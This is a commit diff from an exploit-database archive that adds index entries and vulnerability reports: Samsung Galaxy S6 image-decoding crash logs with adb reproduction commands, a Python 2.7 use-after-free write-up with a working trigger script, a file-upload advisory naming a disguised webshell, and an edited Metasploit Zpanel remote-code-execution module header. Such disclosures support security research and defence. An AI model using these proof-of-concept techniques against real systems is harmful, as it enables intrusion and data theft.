DB: 2015-11-04
16 new exploits
This commit is contained in:
parent
ba3336243c
commit
877373ae37
19 changed files with 1117 additions and 81 deletions
16
files.csv
16
files.csv
|
@ -34873,6 +34873,22 @@ id,file,description,date,author,platform,type,port
|
|||
38596,platforms/php/webapps/38596.txt,"Xaraya Multiple Cross Site Scripting Vulnerabilities",2013-06-26,"High-Tech Bridge",php,webapps,0
|
||||
38597,platforms/multiple/remote/38597.txt,"Motion Multiple Remote Security Vulnerabilities",2013-06-26,xistence,multiple,remote,0
|
||||
38598,platforms/php/webapps/38598.txt,"ZamFoo 'date' Parameter Remote Command Injection Vulnerability",2013-06-15,localhost.re,php,webapps,0
|
||||
38600,platforms/windows/local/38600.py,"Sam Spade 1.14 - (Crawl website) Buffer OverFlow",2015-11-02,MandawCoder,windows,local,0
|
||||
38601,platforms/windows/local/38601.py,"Sam Spade 1.14 - (Scan Addresses) Buffer Overflow Exploit",2015-11-02,VIKRAMADITYA,windows,local,0
|
||||
38602,platforms/windows/webapps/38602.txt,"actiTIME 2015.2 - Multiple Vulnerabilities",2015-11-02,LiquidWorm,windows,webapps,0
|
||||
38603,platforms/windows/local/38603.py,"TCPing 2.1.0 - Buffer Overflow",2015-11-02,hyp3rlinx,windows,local,0
|
||||
38604,platforms/hardware/remote/38604.txt,"Mobile USB Drive HD Multiple Local File Include and Arbitrary File Upload Vulnerabilities",2012-06-28,"Benjamin Kunz Mejri",hardware,remote,0
|
||||
38605,platforms/php/webapps/38605.txt,"Nameko 'nameko.php' Cross Site Scripting Vulnerability",2013-06-29,"Andrea Menin",php,webapps,0
|
||||
38606,platforms/php/webapps/38606.txt,"WordPress WP Private Messages Plugin 'msgid' Parameter SQL Injection Vulnerability",2013-06-29,"IeDb ir",php,webapps,0
|
||||
38607,platforms/php/webapps/38607.txt,"Atomy Maxsite 'index.php' Arbitrary File Upload Vulnerability",2013-06-30,Iranian_Dark_Coders_Team,php,webapps,0
|
||||
38608,platforms/php/webapps/38608.txt,"Xorbin Analog Flash Clock 'widgetUrl' Parameter Cross Site Scripting Vulnerability",2013-06-30,"Prakhar Prasad",php,webapps,0
|
||||
38609,platforms/windows/local/38609.py,"Gold MP4 Player - .swf Local Exploit",2015-11-03,"Vivek Mahajan",windows,local,0
|
||||
38610,platforms/android/dos/38610.txt,"Samsung Galaxy S6 Samsung Gallery - GIF Parsing Crash",2015-11-03,"Google Security Research",android,dos,0
|
||||
38611,platforms/android/dos/38611.txt,"Samsung Galaxy S6 - android.media.process Face Recognition Memory Corruption",2015-11-03,"Google Security Research",android,dos,0
|
||||
38612,platforms/android/dos/38612.txt,"Samsung Galaxy S6 - libQjpeg DoIntegralUpsample Crash",2015-11-03,"Google Security Research",android,dos,0
|
||||
38613,platforms/android/dos/38613.txt,"Samsung Galaxy S6 - Samsung Gallery Bitmap Decoding Crash",2015-11-03,"Google Security Research",android,dos,0
|
||||
38614,platforms/android/dos/38614.txt,"Samsung libQjpeg Image Decoding Memory Corruption",2015-11-03,"Google Security Research",android,dos,0
|
||||
38615,platforms/windows/dos/38615.txt,"Python 2.7 hotshot Module - pack_string Heap Buffer Overflow",2015-11-03,"John Leitch",windows,dos,0
|
||||
38616,platforms/multiple/dos/38616.txt,"Python 2.7 array.fromstring Method - Use After Free",2015-11-03,"John Leitch",multiple,dos,0
|
||||
38617,platforms/windows/dos/38617.txt,"Python 2.7 strop.replace() Method - Integer Overflow",2015-11-03,"John Leitch",windows,dos,0
|
||||
38618,platforms/windows/dos/38618.txt,"Python 3.3 - 3.5 product_setstate() Function - Out-of-bounds Read",2015-11-03,"John Leitch",windows,dos,0
|
||||
|
|
Can't render this file because it is too large.
|
30
platforms/android/dos/38610.txt
Executable file
30
platforms/android/dos/38610.txt
Executable file
|
@ -0,0 +1,30 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=500
|
||||
|
||||
There is a crash when the Samsung Gallery application load the attached GIF, colormap.gif.
|
||||
|
||||
D/skia (10905): GIF - Parse error
|
||||
D/skia (10905): --- decoder->decode returned false
|
||||
F/libc (10905): Fatal signal 11 (SIGSEGV), code 2, fault addr 0x89f725ac in tid 11276 (thread-pool-0)
|
||||
I/DEBUG ( 2958): pid: 10905, tid: 11276, name: thread-pool-0 >>> com.sec.android.gallery3d <<<
|
||||
I/DEBUG ( 2958): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89f725ac
|
||||
I/DEBUG ( 2958): x0 0000000000000001 x1 0000000089f725ac x2 0000000000000000 x3 00000000fff9038c
|
||||
I/DEBUG ( 2958): x4 0000007f9c300000 x5 000000000000001f x6 0000000000000001 x7 0000007f9c620048
|
||||
I/DEBUG ( 2958): x8 0000000000000000 x9 0000000000000000 x10 0000000000000080 x11 0000000000003758
|
||||
I/DEBUG ( 2958): x12 0000000000000020 x13 0000000000000020 x14 00000000000000a5 x15 000000000000001f
|
||||
I/DEBUG ( 2958): x16 00000000ffffe4e3 x17 00000000000000a5 x18 0000007f9c300000 x19 0000007f9c61fc00
|
||||
I/DEBUG ( 2958): x20 0000007f9c664080 x21 0000000089e76b2c x22 000000000000003b x23 0000000000000001
|
||||
I/DEBUG ( 2958): x24 0000000000000020 x25 0000000000000020 x26 0000000000000020 x27 0000007f9c664080
|
||||
I/DEBUG ( 2958): x28 00000000000001da x29 0000000032e89ae0 x30 0000007faad70e64
|
||||
I/DEBUG ( 2958): sp 0000007f9cfff170 pc 0000007faad72dbc pstate 0000000080000000
|
||||
I/DEBUG ( 2958):
|
||||
I/DEBUG ( 2958): backtrace:
|
||||
I/DEBUG ( 2958): #00 pc 000000000002ddbc /system/lib64/libSecMMCodec.so (ColorMap+200)
|
||||
I/DEBUG ( 2958): #01 pc 000000000002be60 /system/lib64/libSecMMCodec.so (decodeGIF+340)
|
||||
I/DEBUG ( 2958): #02 pc 000000000000c90c /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)
|
||||
I/DEBUG ( 2958): #03 pc 000000000042ec00 /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex
|
||||
|
||||
To reproduce, download the file and open it in Gallery
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38610.zip
|
||||
|
35
platforms/android/dos/38611.txt
Executable file
35
platforms/android/dos/38611.txt
Executable file
|
@ -0,0 +1,35 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=499
|
||||
|
||||
The attached files cause memory corruption when they are scanned by the face recognition library in android.media.process.
|
||||
|
||||
From faces-art.bmp
|
||||
|
||||
F/libc (11305): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x0 in tid 11555 (Thread-1136)
|
||||
I/DEBUG ( 2955): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||
I/DEBUG ( 2955): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.0.2/LRX22G/G925VVRU2AOF1:user/release-keys'
|
||||
I/DEBUG ( 2955): Revision: '10'
|
||||
I/DEBUG ( 2955): ABI: 'arm64'
|
||||
I/DEBUG ( 2955): pid: 11305, tid: 11555, name: Thread-1136 >>> android.process.media <<<
|
||||
I/DEBUG ( 2955): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
|
||||
I/DEBUG ( 2955): x0 0000007f94ca2100 x1 0000007f94c63480 x2 0000007f94c0e200 x3 0000000000000000
|
||||
I/DEBUG ( 2955): x4 0000000000000000 x5 0000000000000040 x6 000000000000003f x7 0000000000000000
|
||||
I/DEBUG ( 2955): x8 0000007f94c0e240 x9 0000000000000004 x10 000000000000003b x11 000000000000003a
|
||||
I/DEBUG ( 2955): x12 0000007f94c02080 x13 00000000ffffffff x14 0000007f94c02080 x15 000000000151c5e8
|
||||
I/DEBUG ( 2955): x16 0000007f885fe900 x17 0000007f9ee60d80 x18 0000007f9eed5a40 x19 0000007f94c1d100
|
||||
I/DEBUG ( 2955): x20 0000000000000000 x21 0000007f94c65150 x22 0000007f949d0550 x23 0000007f94c1d110
|
||||
I/DEBUG ( 2955): x24 0000000012d39070 x25 0000000000000066 x26 0000000012d23b80 x27 0000000000000066
|
||||
I/DEBUG ( 2955): x28 0000000000000000 x29 0000007f949cfd70 x30 0000007f87acd200
|
||||
I/DEBUG ( 2955): sp 0000007f949cfd70 pc 0000000000000000 pstate 0000000040000000
|
||||
I/DEBUG ( 2955):
|
||||
I/DEBUG ( 2955): backtrace:
|
||||
I/DEBUG ( 2955): #00 pc 0000000000000000 <unknown>
|
||||
I/DEBUG ( 2955): #01 pc 0000000000000001 <unknown>
|
||||
I/DEBUG ( 2955): #02 pc 26221b0826221b08 <unknown>
|
||||
|
||||
To reproduce, download the attached file and wait, or trigger media scanning by calling:
|
||||
|
||||
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38611.zip
|
||||
|
41
platforms/android/dos/38612.txt
Executable file
41
platforms/android/dos/38612.txt
Executable file
|
@ -0,0 +1,41 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=498
|
||||
|
||||
The attached jpg, upsample.jpg can cause memory corruption when media scanning occurs
|
||||
|
||||
F/libc ( 8600): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x206e6f69747562 in tid 8685 (HEAVY#0)
|
||||
I/DEBUG ( 2956): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||
I/DEBUG ( 2956): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.0.2/LRX22G/G925VVRU2AOF1:user/release-keys'
|
||||
I/DEBUG ( 2956): Revision: '10'
|
||||
I/DEBUG ( 2956): ABI: 'arm64'
|
||||
I/DEBUG ( 2956): pid: 8600, tid: 8685, name: HEAVY#0 >>> com.samsung.dcm:DCMService <<<
|
||||
I/DEBUG ( 2956): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x206e6f69747562
|
||||
I/DEBUG ( 2956): x0 0000007f8cef2ab0 x1 0000000000000002 x2 0000007f8cef2ab0 x3 0000007f8ce5a390
|
||||
I/DEBUG ( 2956): x4 0000007f8cef28d0 x5 3d206e6f69747562 x6 0000007f8cef29f0 x7 42e34ca342e32177
|
||||
I/DEBUG ( 2956): x8 42e390a242e37199 x9 42dfe02f42debc0f x10 42e06c3442e03665 x11 42e0afd542e08c24
|
||||
I/DEBUG ( 2956): x12 42e1070042e0e62d x13 42e1830842e146da x14 42e1f53342e1add4 x15 00000000000014a4
|
||||
I/DEBUG ( 2956): x16 0000007f9f0d6ae0 x17 0000007fa3e7e880 x18 0000007f8ce75c60 x19 0000007f8cebe000
|
||||
I/DEBUG ( 2956): x20 0000000000000001 x21 0000007f8cebe000 x22 0000000000000001 x23 0000000000000000
|
||||
I/DEBUG ( 2956): x24 0000000000000000 x25 0000000000000000 x26 0000000010000000 x27 0000007f8c5ff050
|
||||
I/DEBUG ( 2956): x28 0000007f8ce77800 x29 000000000000001c x30 0000007f9f09fff8
|
||||
I/DEBUG ( 2956): sp 0000007f8d0fea20 pc 0000007f9f09e83c pstate 0000000080000000
|
||||
I/DEBUG ( 2956):
|
||||
I/DEBUG ( 2956): backtrace:
|
||||
I/DEBUG ( 2956): #00 pc 000000000009b83c /system/lib64/libQjpeg.so (WINKJ_DoIntegralUpsample+164)
|
||||
I/DEBUG ( 2956): #01 pc 000000000009cff4 /system/lib64/libQjpeg.so (WINKJ_SetupUpsample+228)
|
||||
I/DEBUG ( 2956): #02 pc 0000000000035700 /system/lib64/libQjpeg.so (WINKJ_ProgProcessData+236)
|
||||
I/DEBUG ( 2956): #03 pc 0000000000041f08 /system/lib64/libQjpeg.so (WINKJ_DecodeImage+688)
|
||||
I/DEBUG ( 2956): #04 pc 00000000000428d4 /system/lib64/libQjpeg.so (WINKJ_DecodeFrame+88)
|
||||
I/DEBUG ( 2956): #05 pc 0000000000042a08 /system/lib64/libQjpeg.so (QURAMWINK_DecodeJPEG+276)
|
||||
I/DEBUG ( 2956): #06 pc 000000000004420c /system/lib64/libQjpeg.so (QURAMWINK_PDecodeJPEG+200)
|
||||
I/DEBUG ( 2956): #07 pc 00000000000a4234 /system/lib64/libQjpeg.so (QjpgDecodeFileOpt+432)
|
||||
I/DEBUG ( 2956): #08 pc 0000000000001b98 /system/lib64/libsaiv_codec.so (saiv_codec_JpegCodec_decode_f2bRotate+40)
|
||||
I/DEBUG ( 2956): #09 pc 0000000000001418 /system/lib64/libsaiv_codec.so (Java_com_samsung_android_saiv_codec_JpegCodec_decodeF2BRotate+268)
|
||||
I/DEBUG ( 2956): #10 pc 00000000000018ec /system/framework/arm64/saiv.odex
|
||||
|
||||
To reproduce, download the image file and wait, or trigger media scanning by calling:
|
||||
|
||||
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38612.zip
|
||||
|
32
platforms/android/dos/38613.txt
Executable file
32
platforms/android/dos/38613.txt
Executable file
|
@ -0,0 +1,32 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=497
|
||||
|
||||
Loading the bitmap bmp_memset.bmp can cause a crash due to a memset writing out of bounds.
|
||||
|
||||
I/DEBUG ( 2961): pid: 12383, tid: 12549, name: thread-pool-1 >>> com.sec.android.gallery3d <<<
|
||||
I/DEBUG ( 2961): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89e84000
|
||||
|
||||
I/DEBUG ( 2961): x0 0000000089e8117c x1 00000000000000ff x2 00000000177fe13c x3 0000000089e8117c
|
||||
I/DEBUG ( 2961): x4 0000000000000004 x5 0000007f65f42300 x6 0000000000000002 x7 ffffffffffffffff
|
||||
I/DEBUG ( 2961): x8 0000000089e83ff0 x9 0000007f65f020b0 x10 000000000000003c x11 000000000000003b
|
||||
I/DEBUG ( 2961): x12 0000007f65f02080 x13 00000000ffffffff x14 0000007f65f02080 x15 00000000000061e0
|
||||
I/DEBUG ( 2961): x16 0000007f6baccc10 x17 0000007f958f8d80 x18 0000007f9596da40 x19 0000007f65f0e180
|
||||
I/DEBUG ( 2961): x20 0000007f65f54020 x21 00000000002f0020 x22 0000000000000020 x23 0000000005e00400
|
||||
I/DEBUG ( 2961): x24 0000000000000004 x25 0000007f65f42300 x26 0000000000000020 x27 0000007f65f52080
|
||||
I/DEBUG ( 2961): x28 00000000000001da x29 0000000013071460 x30 0000007f6ba7e40c
|
||||
I/DEBUG ( 2961): sp 0000007f66796130 pc 0000007f958f8e28 pstate 0000000020000000
|
||||
I/DEBUG ( 2961):
|
||||
I/DEBUG ( 2961): backtrace:
|
||||
I/InjectionManager(12532): Inside getClassLibPath caller
|
||||
I/DEBUG ( 2961): #00 pc 0000000000019e28 /system/lib64/libc.so (memset+168)
|
||||
I/DEBUG ( 2961): #01 pc 0000000000030408 /system/lib64/libSecMMCodec.so (sbmpd_decode_rle_complete+64)
|
||||
I/DEBUG ( 2961): #02 pc 0000000000033440 /system/lib64/libSecMMCodec.so (DecodeFile+120)
|
||||
I/DEBUG ( 2961): #03 pc 000000000000c90c /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)
|
||||
I/DEBUG ( 2961): #04 pc 000000000042ec00 /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex
|
||||
|
||||
To reproduce, download the file and open it in Gallery.
|
||||
|
||||
This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2.
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38613.zip
|
||||
|
59
platforms/android/dos/38614.txt
Executable file
59
platforms/android/dos/38614.txt
Executable file
|
@ -0,0 +1,59 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=495
|
||||
|
||||
The attached JPEG file causes memory corruption the DCMProvider service when the file is processed by the media scanner, leading to the following crash:
|
||||
|
||||
quaramip.jpg:
|
||||
|
||||
I/DEBUG ( 2962): pid: 19350, tid: 19468, name: HEAVY#0 >>> com.samsung.dcm:DCMService <<<
|
||||
I/DEBUG ( 2962): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8080808080808080
|
||||
I/DEBUG ( 2962): x0 0000007f97afd000 x1 0000007f98118650 x2 0000007f9811eaa8 x3 0000007f9815a430
|
||||
I/DEBUG ( 2962): x4 8080808080808080 x5 0000007f9811eaa8 x6 0000000000000000 x7 0000000000000003
|
||||
I/DEBUG ( 2962): x8 0000000000000050 x9 0000000000000005 x10 0000000000000053 x11 0000007f9815a470
|
||||
I/DEBUG ( 2962): x12 0000007f97803920 x13 0000007f978ff050 x14 0000007f983fea40 x15 0000000000000001
|
||||
I/DEBUG ( 2962): x16 0000007faabefae0 x17 0000007faf708880 x18 0000007faf77da40 x19 0000007f97afd000
|
||||
I/DEBUG ( 2962): x20 00000000ffffffff x21 0000000000000001 x22 0000007f9815a410 x23 0000007f981588f0
|
||||
I/DEBUG ( 2962): x24 0000007f983feb44 x25 0000007f983feb48 x26 ffffffffffffffe8 x27 0000007f98118600
|
||||
I/DEBUG ( 2962): x28 0000007f98177800 x29 000000000000001c x30 0000007faabb8ff8
|
||||
I/DEBUG ( 2962): sp 0000007f983fea50 pc 8080808080808080 pstate 0000000000000000
|
||||
I/DEBUG ( 2962):
|
||||
I/DEBUG ( 2962): backtrace:
|
||||
I/DEBUG ( 2962): #00 pc 8080808080808080 <unknown>
|
||||
I/DEBUG ( 2962): #01 pc 00000000000000a6 <unknown>
|
||||
|
||||
quaramfree.jpg:
|
||||
|
||||
I/DEBUG ( 2956): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x808080808000d0
|
||||
I/DEBUG ( 2956): x0 0000000000008080 x1 0000007f89d03720 x2 00000000000fffff x3 8080808080800000
|
||||
I/DEBUG ( 2956): x4 0000000000000008 x5 0000007f89cf2000 x6 0000007f89d03758 x7 0000000000000002
|
||||
I/DEBUG ( 2956): x8 0000000000000006 x9 0000000000000012 x10 8080808080800090 x11 0000007f803015d8
|
||||
I/DEBUG ( 2956): x12 0000000000000013 x13 0000007f89cf2000 x14 0000007f89d00000 x15 00000000000014a4
|
||||
I/DEBUG ( 2956): x16 0000007f850eec00 x17 0000007f89c4e17c x18 0000007f89d037f8 x19 8080808080808080
|
||||
I/DEBUG ( 2956): x20 0000007f8031e618 x21 0000007f89cf2000 x22 0000000000000001 x23 0000007f803166d8
|
||||
I/DEBUG ( 2956): x24 0000007f80331170 x25 0000000000000010 x26 00000000000001f4 x27 fffffffffffffffc
|
||||
I/DEBUG ( 2956): x28 000000000000007d x29 0000007f84efea60 x30 0000007f89c4e194
|
||||
I/DEBUG ( 2956): sp 0000007f84efea60 pc 0000007f89cae0b4 pstate 0000000020000000
|
||||
I/DEBUG ( 2956):
|
||||
I/DEBUG ( 2956): backtrace:
|
||||
I/DEBUG ( 2956): #00 pc 00000000000790b4 /system/lib64/libc.so (je_free+92)
|
||||
I/DEBUG ( 2956): #01 pc 0000000000019190 /system/lib64/libc.so (free+20)
|
||||
I/DEBUG ( 2956): #02 pc 000000000003e8a0 /system/lib64/libQjpeg.so (WINKJ_DeleteDecoderInfo+1076)
|
||||
I/DEBUG ( 2956): #03 pc 00000000000427b0 /system/lib64/libQjpeg.so (WINKJ_DecodeImage+2904)
|
||||
I/DEBUG ( 2956): #04 pc 00000000000428d4 /system/lib64/libQjpeg.so (WINKJ_DecodeFrame+88)
|
||||
I/DEBUG ( 2956): #05 pc 0000000000042a08 /system/lib64/libQjpeg.so (QURAMWINK_DecodeJPEG+276)
|
||||
I/DEBUG ( 2956): #06 pc 000000000004420c /system/lib64/libQjpeg.so (QURAMWINK_PDecodeJPEG+200)
|
||||
I/DEBUG ( 2956): #07 pc 00000000000a4234 /system/lib64/libQjpeg.so (QjpgDecodeFileOpt+432)
|
||||
I/DEBUG ( 2956): #08 pc 0000000000001b98 /system/lib64/libsaiv_codec.so (saiv_codec_JpegCodec_decode_f2bRotate+40)
|
||||
I/DEBUG ( 2956): #09 pc 0000000000001418 /system/lib64/libsaiv_codec.so (Java_com_samsung_android_saiv_codec_JpegCodec_decodeF2BRotate+268)
|
||||
I/DEBUG ( 2956): #10 pc 00000000000018ec /system/framework/arm64/saiv.odex
|
||||
|
||||
The pc is set to the value of content of the JPEG file, indicating that this issue could probably be exploited to allow code execution. We believe the issue is caused due to a flaw in libQjpeg.so (third-party Quram Qjpeg library).
|
||||
|
||||
To reproduce the issue, download the file and wait for media scanning to occur, or trigger media scanning by calling:
|
||||
|
||||
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0
|
||||
|
||||
This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2.
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38614.zip
|
||||
|
15
platforms/hardware/remote/38604.txt
Executable file
15
platforms/hardware/remote/38604.txt
Executable file
|
@ -0,0 +1,15 @@
|
|||
source: http://www.securityfocus.com/bid/60847/info
|
||||
|
||||
Mobile USB Drive HD is prone to multiple local file-include and arbitrary file-upload vulnerabilities because it fails to adequately validate files before uploading them.
|
||||
|
||||
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.
|
||||
|
||||
Mobile USB Drive HD 1.2 is vulnerable; other versions may also be affected.
|
||||
|
||||
<table border="0" cellpadding="0" cellspacing="0">
|
||||
<thead>
|
||||
<tr><th>Name</th><th class="del">Delete</th></tr>
|
||||
</thead>
|
||||
<tbody id="filelist">
|
||||
<tr><td><a href=_http://www.example.com/files/webshell-js.php.png.txt.iso.php.gif;
|
||||
class="file">webshell-js.php.png.txt.iso.php.gif</a></td>
|
107
platforms/multiple/dos/38616.txt
Executable file
107
platforms/multiple/dos/38616.txt
Executable file
|
@ -0,0 +1,107 @@
|
|||
Title: Python 2.7 array.fromstring Use After Free
|
||||
Credit: John Leitch (john@autosectools.com)
|
||||
Url1: http://autosectools.com/Page/Python-array-fromstring-Use-After-Free
|
||||
Url2: http://bugs.python.org/issue24613
|
||||
Resolution: Fixed
|
||||
|
||||
The Python 2.7 array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call:
|
||||
|
||||
static PyObject *
|
||||
array_fromstring(arrayobject *self, PyObject *args)
|
||||
{
|
||||
char *str;
|
||||
Py_ssize_t n;
|
||||
int itemsize = self->ob_descr->itemsize;
|
||||
if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str.
|
||||
return NULL;
|
||||
if (n % itemsize != 0) {
|
||||
PyErr_SetString(PyExc_ValueError,
|
||||
"string length not a multiple of item size");
|
||||
return NULL;
|
||||
}
|
||||
n = n / itemsize;
|
||||
if (n > 0) {
|
||||
char *item = self->ob_item; <<<< If str == self->ob_item, item == str.
|
||||
if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) ||
|
||||
((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) {
|
||||
return PyErr_NoMemory();
|
||||
}
|
||||
PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory.
|
||||
if (item == NULL) {
|
||||
PyErr_NoMemory();
|
||||
return NULL;
|
||||
}
|
||||
self->ob_item = item;
|
||||
Py_SIZE(self) += n;
|
||||
self->allocated = Py_SIZE(self);
|
||||
memcpy(item + (Py_SIZE(self) - n) * itemsize,
|
||||
str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here.
|
||||
}
|
||||
Py_INCREF(Py_None);
|
||||
return Py_None;
|
||||
}
|
||||
|
||||
In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer.
|
||||
|
||||
In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays.
|
||||
|
||||
A proof-of-concept follows:
|
||||
|
||||
import array
|
||||
import sys
|
||||
import random
|
||||
|
||||
testNumber = 0
|
||||
|
||||
def dump(value):
|
||||
global testNumber
|
||||
i = 0
|
||||
for x in value:
|
||||
y = ord(x)
|
||||
if (y != 0x41):
|
||||
end = ''.join(value[i:]).index('A' * 0x10)
|
||||
sys.stdout.write("%08x a[%08x]: " % (testNumber, i))
|
||||
for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:])
|
||||
sys.stdout.write('\r\n')
|
||||
break
|
||||
i += 1
|
||||
|
||||
def copyArray():
|
||||
global testNumber
|
||||
while True:
|
||||
a=array.array("c",'A'*random.randint(0x0, 0x10000))
|
||||
a.fromstring(a)
|
||||
dump(a)
|
||||
testNumber += 1
|
||||
|
||||
print "Starting..."
|
||||
copyArray()
|
||||
|
||||
The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this:
|
||||
|
||||
Starting...
|
||||
00000007 a[00000cdc]: c8684d0b0f54c0
|
||||
0000001d a[0000f84d]: b03f4f0b8be620
|
||||
00000027 a[0000119f]: 50724d0b0f54c0
|
||||
0000004c a[00000e53]: b86b4d0b0f54c0
|
||||
0000005a a[000001e1]: d8ab4609040620
|
||||
00000090 a[0000015b]: 9040620104e5f0
|
||||
0000014d a[000002d6]: 10ec620d8ab460
|
||||
00000153 a[000000f7]: 9040620104e5f0
|
||||
0000023c a[00000186]: 50d34c0f8b65a0
|
||||
00000279 a[000001c3]: d8ab4609040620
|
||||
000002ee a[00000133]: 9040620104e5f0
|
||||
000002ff a[00000154]: 9040620104e5f0
|
||||
0000030f a[00000278]: 10ec620d8ab460
|
||||
00000368 a[00000181]: 50d34c0f8b65a0
|
||||
000003b2 a[0000005a]: d0de5f0d05e5f0
|
||||
000003b5 a[0000021c]: b854d00d3620
|
||||
00000431 a[000001d8]: d8ab4609040620
|
||||
0000044b a[000002db]: 10ec620d8ab460
|
||||
00000461 a[000000de]: 9040620104e5f0
|
||||
000004fb a[0000232f]: 10f74d0c0ce620
|
||||
00000510 a[0000014a]: 9040620104e5f0
|
||||
|
||||
In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation.
|
||||
|
||||
To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly.
|
|
@ -1,3 +1,8 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/php_exe'
|
||||
require 'nokogiri'
|
||||
|
@ -14,17 +19,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'Zpanel Remote Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability
|
||||
found in Zpanel <= 10.1.0. The vulnerability is due to a
|
||||
vulnerable version of pChart allowing remote, unauthenticated,
|
||||
users to read arbitrary files found on the filesystem. This
|
||||
particular module utilizes this vulnerability to identify the
|
||||
username/password combination of the MySQL instance. With the
|
||||
in Zpanel. The vulnerability is due to a vulnerable version
|
||||
of pChart used by ZPanel that allows unauthenticated users to read
|
||||
arbitrary files remotely on the file system. This particular module
|
||||
utilizes this vulnerability to identify the username/password
|
||||
combination of the MySQL instance. With the
|
||||
credentials the attackers can login to PHPMyAdmin and execute
|
||||
SQL commands to drop a malicious payload on the filesystem and
|
||||
call it leading to remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Balazs Makany', # pChart vuln discovery
|
||||
'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel
|
||||
'dawn isabel',
|
||||
'brad wolfe',
|
||||
'brent morris',
|
||||
|
@ -33,12 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2097' ],
|
||||
[ 'EDB', '31173' ], # pChart
|
||||
[ 'OSVDB', '102595' ], # pChart
|
||||
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
|
||||
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
|
||||
[ 'EDB', '31173' ], # vulnerable version of pChart used by zpanel
|
||||
[ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel
|
||||
[ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ],
|
||||
[ 'URL', 'http://pastebin.com/y5Pf4Yms' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -57,8 +57,8 @@ IV. DESCRIPTION
|
|||
-------------------------
|
||||
|
||||
The aforementioned XXE vulnerability in Zend Framework which affects eBay
|
||||
Magento, was discovered by Dawid Golunski and can be found in a separate
|
||||
advisory at:
|
||||
Magento, was assigned a CVE-ID of CVE-2015-5161 and can be found in a
|
||||
separate advisory at:
|
||||
|
||||
